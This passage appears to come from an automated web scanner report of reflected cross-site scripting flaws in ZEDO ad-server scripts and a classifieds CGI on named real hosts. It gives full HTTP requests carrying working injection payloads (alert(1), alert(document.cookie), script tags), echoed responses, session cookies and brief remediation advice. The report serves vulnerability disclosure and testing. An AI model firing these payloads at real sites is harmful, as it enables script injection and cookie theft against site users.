// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat=',1e01e";alert(1)//82425b7431e';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=,1e01e";alert(1)//82425b7431e;z="+Math.random();}
4.15. http://d7.zedo.com/bar/v16-401/d3/jsc/fm.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://d7.zedo.com
Path:
/bar/v16-401/d3/jsc/fm.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a19b1'-alert(1)-'4b1450f596b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?a19b1'-alert(1)-'4b1450f596b=1 HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 941 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "81ee0daa-82a5-4989a5927aac0" X-Varnish: 2233582065 2233582057 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=253 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:46 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=0;var zzPat='';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=;z="+Math.random();}
The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd682'%3balert(1)//8194c718852 was submitted in the q parameter. This input was echoed as fd682';alert(1)//8194c718852 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=fd682'%3balert(1)//8194c718852&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1
Response (redirected)
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=526 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:01:00 GMT Connection: close Content-Length: 1987
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='fd682';alert(1)//8194c718852';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=fd682';alert(1)//8194c718852;z="+Math.random();}
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae34c"%3balert(1)//b23cf797565 was submitted in the q parameter. This input was echoed as ae34c";alert(1)//b23cf797565 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fm.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=ae34c"%3balert(1)//b23cf797565&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1
Response (redirected)
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1479B1099,2#702971|0,1,1;expires=Fri, 18 Feb 2011 18:00:59 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=527 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:00:59 GMT Connection: close Content-Length: 2035
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='ae34c";alert(1)//b23cf797565';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=ae34c";alert(1)//b23cf797565;z="+Math.random();}
The value of the $ request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35817"%3balert(1)//c76b7e8cf54 was submitted in the $ parameter. This input was echoed as 35817";alert(1)//c76b7e8cf54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=35817"%3balert(1)//c76b7e8cf54&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFpb=1099:35817";alert(1)//c76b7e8cf54;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:00:52 GMT;path=/;domain=.zedo.com; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=534 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:00:52 GMT Connection: close Content-Length: 2038
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat=',35817";alert(1)//c76b7e8cf54';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=,35817";alert(1)//c76b7e8cf54;z="+Math.random();}
The value of the $ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7468b'%3balert(1)//803ecb61dff was submitted in the $ parameter. This input was echoed as 7468b';alert(1)//803ecb61dff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=7468b'%3balert(1)//803ecb61dff&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFpb=1099:7468b';alert(1)//803ecb61dff;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:00:53 GMT;path=/;domain=.zedo.com; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=533 Expires: Wed, 19 Jan 2011 18:09:46 GMT Date: Wed, 19 Jan 2011 18:00:53 GMT Connection: close Content-Length: 2038
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat=',7468b';alert(1)//803ecb61dff';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=,7468b';alert(1)//803ecb61dff;z="+Math.random();}
4.20. http://d7.zedo.com/bar/v16-401/d3/jsc/fmr.js [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://d7.zedo.com
Path:
/bar/v16-401/d3/jsc/fmr.js
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb90e'-alert(1)-'40d04a4f8f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?fb90e'-alert(1)-'40d04a4f8f9=1 HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 942 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=249 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:50 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=0;var zzPat='';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=;z="+Math.random();}
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69e4b"%3balert(1)//9f07af1dcbc was submitted in the q parameter. This input was echoed as 69e4b";alert(1)//9f07af1dcbc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=69e4b"%3balert(1)//9f07af1dcbc&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:00:49 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=48 Expires: Wed, 19 Jan 2011 18:01:37 GMT Date: Wed, 19 Jan 2011 18:00:49 GMT Connection: close Content-Length: 2035
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='69e4b";alert(1)//9f07af1dcbc';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=69e4b";alert(1)//9f07af1dcbc;z="+Math.random();}
The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59624'%3balert(1)//65aac50a934 was submitted in the q parameter. This input was echoed as 59624';alert(1)//65aac50a934 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=59624'%3balert(1)//65aac50a934&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 18:00:50 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=47 Expires: Wed, 19 Jan 2011 18:01:37 GMT Date: Wed, 19 Jan 2011 18:00:50 GMT Connection: close Content-Length: 2035
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='59624';alert(1)//65aac50a934';var zzCustom=''; if(typeof zzStr=='undefined'){ var zzStr="q=59624';alert(1)//65aac50a934;z="+Math.random();}
The value of the db request parameter is copied into the HTML document as plain text between tags. The payload bc39f<script>alert(1)</script>6e8f0f5d54e was submitted in the db parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/classifieds/classifieds.cgi?db=personalsbc39f<script>alert(1)</script>6e8f0f5d54e HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
